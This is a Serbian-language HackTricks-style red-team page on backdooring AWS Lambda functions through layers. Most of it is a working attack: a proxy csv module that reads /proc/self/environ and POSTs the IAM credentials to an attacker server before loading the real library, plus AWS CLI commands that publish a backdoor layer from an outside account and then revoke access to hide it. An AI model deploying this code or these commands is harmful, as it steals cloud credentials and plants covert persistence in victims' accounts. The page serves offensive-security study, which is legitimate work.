AWS - Lambda Layers Persistence

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Lambda Slojevi

Lambda sloj je .zip arhiva koja može sadržati dodatni kod ili drugi sadržaj. Sloj može sadržati biblioteke, prilagođeno izvršno okruženje, podatke ili konfiguracione fajlove.

Moguće je uključiti do pet slojeva po funkciji. Kada uključite sloj u funkciju, sadržaj se izvlači u direktorijum /opt u okruženju izvršenja.

Po podrazumevanim podešavanjima, slojevi koje kreirate su privatni za vaš AWS nalog. Možete odabrati da podelite sloj sa drugim nalozima ili da ga učinite javnim. Ako vaše funkcije koriste sloj koji je objavio drugi nalog, vaše funkcije mogu nastaviti da koriste verziju sloja nakon što je obrisan, ili nakon što vam je dozvola za pristup sloju opozvana. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisnu verziju sloja.

Funkcije implementirane kao kontejnerska slika ne koriste slojeve. Umesto toga, pakujete svoje preferirano izvršno okruženje, biblioteke i druge zavisnosti u kontejnersku sliku prilikom izgradnje slike.

Putanja učitavanja za Python

Putanja učitavanja koju će Python koristiti u lambdi je sledeća:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Proverite kako su drugi i treći položaj zauzeti direktorijumima gde lambda slojevi raspakuju svoje datoteke: /opt/python/lib/python3.9/site-packages i /opt/python

Ako napadač uspe da ubaci zadnja vrata u korišćeni lambda sloj ili doda jedan koji će izvršavati proizvoljni kod kada se učita zajednička biblioteka, moći će da izvrši zlonamerni kod pri svakom pozivu lambda funkcije.

Stoga su potrebni sledeći uslovi:

  • Proveriti biblioteke koje se učitavaju u kodu žrtve

  • Kreirati proxy biblioteku sa lambda slojevima koja će izvršavati prilagođeni kod i učitati originalnu biblioteku.

Prethodno učitane biblioteke

Prilikom zloupotrebe ove tehnike naišao sam na poteškoću: Nekolike biblioteke su već učitane u python okruženju prilikom izvršavanja vašeg koda. Očekivao sam da ću pronaći stvari poput os ili sys, ali čak je i biblioteka json bila učitana. Da bi se zloupotrebila ova tehnika upornosti, kod mora učitati novu biblioteku koja nije učitana prilikom izvršavanja koda.

Pomoću python koda poput ovog moguće je dobiti listu biblioteka koje su prethodno učitane unutar python okruženja u lambdi:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

I ovo je lista (proverite da li su biblioteke poput os ili json već tamo)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

I ovo je lista biblioteka koje lambda podrazumevano instalira: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

U ovom primeru pretpostavimo da ciljni kod uvozi csv. Backdoor-ovaćemo uvoz biblioteke csv.

Da bismo to uradili, kreiraćemo direktorijum csv sa fajlom __init__.py u njemu na putanji koju učitava lambda: /opt/python/lib/python3.9/site-packages Zatim, kada se lambda izvrši i pokuša da učita csv, naš __init__.py fajl će biti učitan i izvršen. Ovaj fajl mora:

  • Izvršiti naš payload

  • Učitati originalnu csv biblioteku

To možemo uraditi sa:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Zatim, napravite zip sa ovim kodom na putanji python/lib/python3.9/site-packages/__init__.py i dodajte ga kao lambda sloj.

Ovaj kod možete pronaći na https://github.com/carlospolop/LambdaLayerBackdoor

Integrisani payload će poslati IAM kredencijale serveru PRVI PUT kada se pozove ili NAKON resetovanja lambda kontejnera (promena koda ili hladna lambda), ali se mogu integrisati i druge tehnike kao što su sledeće:

pageAWS - Steal Lambda Requests

Spoljni slojevi

Imajte na umu da je moguće koristiti lambda slojeve iz spoljnih naloga. Štaviše, lambda može koristiti sloj iz spoljnog naloga čak i ako nema dozvole. Takođe imajte na umu da je maksimalan broj slojeva koje lambda može imati 5.

Stoga, kako bi se poboljšala univerzalnost ove tehnike, napadač bi mogao:

  • Backdoor-ovati postojeći sloj korisnika (ništa nije spoljno)

  • Napraviti sloj u svom nalogu, dati pristup korisničkom nalogu da koristi sloj, konfigurisati sloj u Lambda korisnika i ukloniti dozvolu.

  • Lambda će i dalje moći da koristi sloj i žrtva neće imati jednostavan način da preuzme kod slojeva (osim ako dobije rev šel unutar lambe)

  • Žrtva neće videti spoljne slojeve korišćene sa aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated